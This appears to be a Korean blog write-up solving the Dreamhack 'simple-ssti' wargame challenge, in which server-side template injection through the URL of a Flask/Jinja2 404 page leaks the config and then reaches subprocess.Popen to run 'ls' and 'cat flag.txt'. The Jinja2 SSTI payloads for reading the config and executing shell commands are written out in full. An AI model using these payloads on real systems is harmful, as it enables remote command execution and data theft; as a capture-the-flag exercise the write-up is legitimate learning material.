[Dreamhack Web - Lv 2] simple-ssti

문제 정보

존재하지 않는 페이지 방문시 404 에러를 출력하는 서비스입니다.
SSTI 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.

풀이 힌트

1. Flask config 또는 subprocess.Popen

문제 풀이

더보기

SSTI 취약점에 대해서는 드림핵의 웹해킹 강의를 보고 좀 알고 있었다.
또한 다른 사람들도 자신의 블로그에 SSTI 취약점에 대한 글을 많이 적어서 많이는 알지 못해도 조금이라도 알고 있었다.

라온화이트햇 : https://core-research-team.github.io/2021-05-01/Server-Side-Template-Injection(SSTI)

 

문제 페이지를 확인해보니, 404Error 페이지와 robots.txt 페이지가 있다는 것을 확인할 수 있었다.

 

공격 백터를 찾기 위해 2개의 페이지를 확인했는데, 별다른 입력값이 없는 것 같았다.
하지만 "혹시 url이 공격 백터가 아닐까?"이라는 생각이 들어서 한번 시도해봤다.

 

예상이 적중하였다. 공격 백터도 찾았으니, 어떤 템플릿을 사용하는지 확인해보겠다.
아마 드림핵은 flask로 문제를 많이 만들었으니 jinja2으로 보이긴 한다.

 

/{{7 * '7'}}

{{7 * '7'}}이 먹히는 것을 보니 jinja2인 것으로 추측이 된다.

 

/{{config}}

나는 한번 Flask의 config를 출력하였다.
secret_key에 flag를 넣어서 config에서 출력되는 것을 확인할 수 있었다.

 

flag를 얻었지만, 블로그에서 설명한 subprocess의 Popen을 이용하여 직접 운영체제 명령을 내리도록 하겠다.

 

엄청 많은 class가 나왔다.
나는 몇번째에 있는지 확인하기 위해 subprocess.Popen를 검색하여 위치를 파악한 다음 해당 위치부터 마지막까지를 복사하였다.

 

그리고 vscode에서 붙여넣기를 하여 <을 검색한다면 subprocess.Popen의 위치가 -48번째에 있다는 것을 알 수 있다.

 

/{{''.__class__.__base__.__subclasses__()[-48]}}

-48번째에 있는지 확인해보니, 맞는 것을 볼 수 있다.

 

/{{''.__class__.__base__.__subclasses__()[-48]('ls',shell=true,stdout=-1).communicate()[0].decode().split()}}

실행되고 있는 곳에 flag.txt이 있는 확인하였는데 바로 옆에 있었다.

 

''.__class__.__base__.__subclasses__()[-48]('cat%20flag.txt',shell=true,stdout=-1).communicate()[0].decode().split()

cat 명령어를 통해 flag.txt의 내용을 출력하여 flag를 획득할 수 있었다.

 

'Wargame > Dreamhack' 카테고리의 다른 글

[Dreamhack Web - Lv 2] login-1  (0) 2021.12.05
[Dreamhack Web - Lv 2] simple_sqli  (0) 2021.12.05
[Dreamhack Web - Lv 1] Tomcat Manager  (0) 2021.11.24
[Dreamhack Web - Lv 1] csrf-2  (0) 2021.11.22
[Dreamhack Web - Lv 1] xss-2  (0) 2021.11.14